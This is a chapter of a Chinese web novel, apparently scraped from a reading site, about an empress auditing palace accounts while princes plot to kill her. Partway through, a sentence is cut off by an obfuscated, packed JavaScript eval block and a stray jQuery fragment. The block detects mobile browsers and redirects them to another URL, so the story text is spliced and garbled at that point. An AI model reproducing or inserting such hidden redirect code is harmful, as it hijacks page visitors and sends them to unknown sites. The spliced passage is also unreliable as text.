第479章 等不到明日

作品:《救命!系统逼本社恐做万人迷啊

    金嬷嬷微微一怔:“娘娘舟车劳顿的,不先歇歇?要不还是明日再见吧?”


    “等不到明日了,有些事,耽搁不得。”方如玥褪下满是尘土的外衫,拍了拍上面的尘土,目光锐利。


    木桶里水汽氤氲,方如玥将自己浸入温热的水中,身上的疲惫感快速褪了下去。


    她缓缓吐出一口浊气,闭上眼睛,始一闭上,江南那边的潮湿就扑面而至,灾民的哭喊亦是犹在耳边,沈泽封临行前的目光,以及那张密信上的字迹,凡此种种,一幕幕地在她脑海中上下翻涌。


    她深吸一口气,将这些纷乱的画面强行压下去,心中默念:不能乱,现在不是害怕的时候。


    一个时辰后,她换上了一身常服,坐在凤仪宫的书房里。


    案前已经堆满了这一个月积压下来的宫务文书,她随手翻开几本,目光扫过那些看似恭敬,实则满是敷衍的禀报,心中了然。


    “娘娘。”一个低沉的男声在门外响起。


    方如玥把手边的文书丢到一旁,应道:“进来吧。”


    话音落下,只见一个身着内侍服饰,面容平凡的中年男人躬身而入,这个其貌不扬的人,就是夜枭,既是凤仪宫暗卫的统领,也是太上皇留给方如玥的人手中,最得力的一位。


    “把如今京中的局势,详细与我说说。”方如玥没有寒暄,直入主题。


    夜枭垂首,语速平稳:“**娘娘的联名奏本已于三日前递至通政司,共有七位御史署名,领头的是监察御史周显,周淳安的侄孙,奏本内容与谣言相仿,但多了擅调宫卫,干预刑狱等其他罪名。”


    方如玥指尖微颤,面上却不动声色:“皇陵卫所那边呢?”


    “确有异动。”夜枭的声音沉了下去,“卫所副指挥使刘铮,半月前突然频繁出入康郡王府,臣等暗中查探发现,卫所近日多了三十余张生面孔,皆以补充兵员为由调入,但籍册不全,来历可疑。”


    “还有就是,”夜枭说到此处顿了顿,似乎是在斟酌该不该说,“内务府总管太监王德海,近一月来与肃王府走动甚密,他手下的几个管事,也在暗中变卖宫中器物,似乎是在筹措银两。”


    方如玥的眼神骤然锐利,筹措银两,是为了豢养死士?还是为了打点关节?


    她思忖良久,忽然笑了,笑容虽然很浓,却带着丝丝寒意:“很好。”


    夜枭不明所以,只垂首静候。


    “传本宫懿旨。”方如玥站起身,走到书案后,提笔蘸墨,“即日起,彻查内务府近五年所有账目,采买、修缮、仪制、赏赐各项,一笔一笔核算清楚,另外,京城内所有在建或近三年完工的皇家工程,全部停工待查,着内务府、工部、户部协同,三日内将一应账册、图纸、契约呈报凤仪宫,如有拖延,以欺君之罪处置。”


    夜枭闻言猛地抬头:“娘娘,这……”


    “照做即可。”方如玥放下笔,将懿旨递给他,“记住,动静要大,要让满京城都知道,皇后回宫第一件事,就是查账。”


    翌日清晨,懿旨一出,满朝哗然。


    皇后突然回京,本就引人猜测,如今竟要大张旗鼓彻查内务府和皇家工程,更是让人摸不到头脑。


    妇人干政,扰乱宫闱的骂声还没出口,方如玥的第二道懿旨又到了:“今岁南方水患,百姓流离国库吃紧,本宫身为中宫,理当表率,故彻查内务整肃贪弊,所省银钱,悉数充作南方赈灾之用,凡有阻挠、隐匿、欺瞒者,以抗旨论处。”


    赈灾。


    这两个字像一道符咒一般,堵住了所有质疑的嘴,众朝臣自然可以骂皇后干政,但若是知道她的目的是为赈灾,那可就要掂量掂量了。


    尤其当江淮的灾情,已经通过各种渠道传回京城之后,皇帝亲临、贪官伏法、开仓放粮,这时候谁还敢说不该省宫里钱去救百姓?


    肃王府里,肃王起来之后,已经摔碎了第三个


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17090408|183622||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    茶盏。


    “她这是冲着本王来的!”老王爷气得胡子都在抖,“皇家工程一向由宗亲经手,东苑鹿台的工程是本王督建的,西山别院的木料是康郡王经手的,她这种时候查账,分明是要断我们的财路!”


    康郡王坐在一旁,脸色阴沉:“不止财路,王德海那边也是一大隐患,这些年咱们从内务府挪用的银子,账面上虽然做得干净,但若真一笔一笔核,难免不会发现一些端倪。”


    “那就让她核不成!”肃王眼中闪过狠厉,“去,让刘铮那边准备起来,既然这位皇后娘娘非要找死,那就让她病逝在宫里好了,到时候陛下痛失爱妻,哪还有心思查什么账?”


    “王爷三思。”康郡王压低声音,“宫里如今都是她的人,太上皇留下的暗卫也不是吃素的,而且陛下就快回来了。”


    “所以更要快。”肃王冷笑,“在她查清账目之前,在陛下回京之前。”


    他们不知道的是,从懿旨发出的那一刻起,凤仪宫的书房就成了一个精密运转的中枢,账册像雪片一样送来,工部的营造则例、户部的拨款记录、内务府的采买明细,各种文书堆积如山。


    方如玥并没有假手他人,如今她只信得过自己,她把自己关在书房里,一日只睡两个时辰。


    韩素陪在她身边,负责整理、归类,金嬷嬷带着几个可靠的宫女,负责传递、磨墨、备茶。


    而方如玥自己,则埋首在数字和文字的海洋里,那些在江南查账时磨炼出的本事,此刻发挥到了极致。


    “这笔彩绘金漆的采买,单价是市价的三倍。”她指着内务府的一页账目,声音冷静,“供货的瑞祥斋,掌柜姓李,是康郡王妃的远房表亲。”


    “东苑鹿台的基石数目不对。”她又翻开工部的图纸和物料清单,“按规制应用青石三万五千块,账上记的也是这个数,但实际运抵工地的签收记录,只有两万八千块,少的七千块石头,去了哪里?”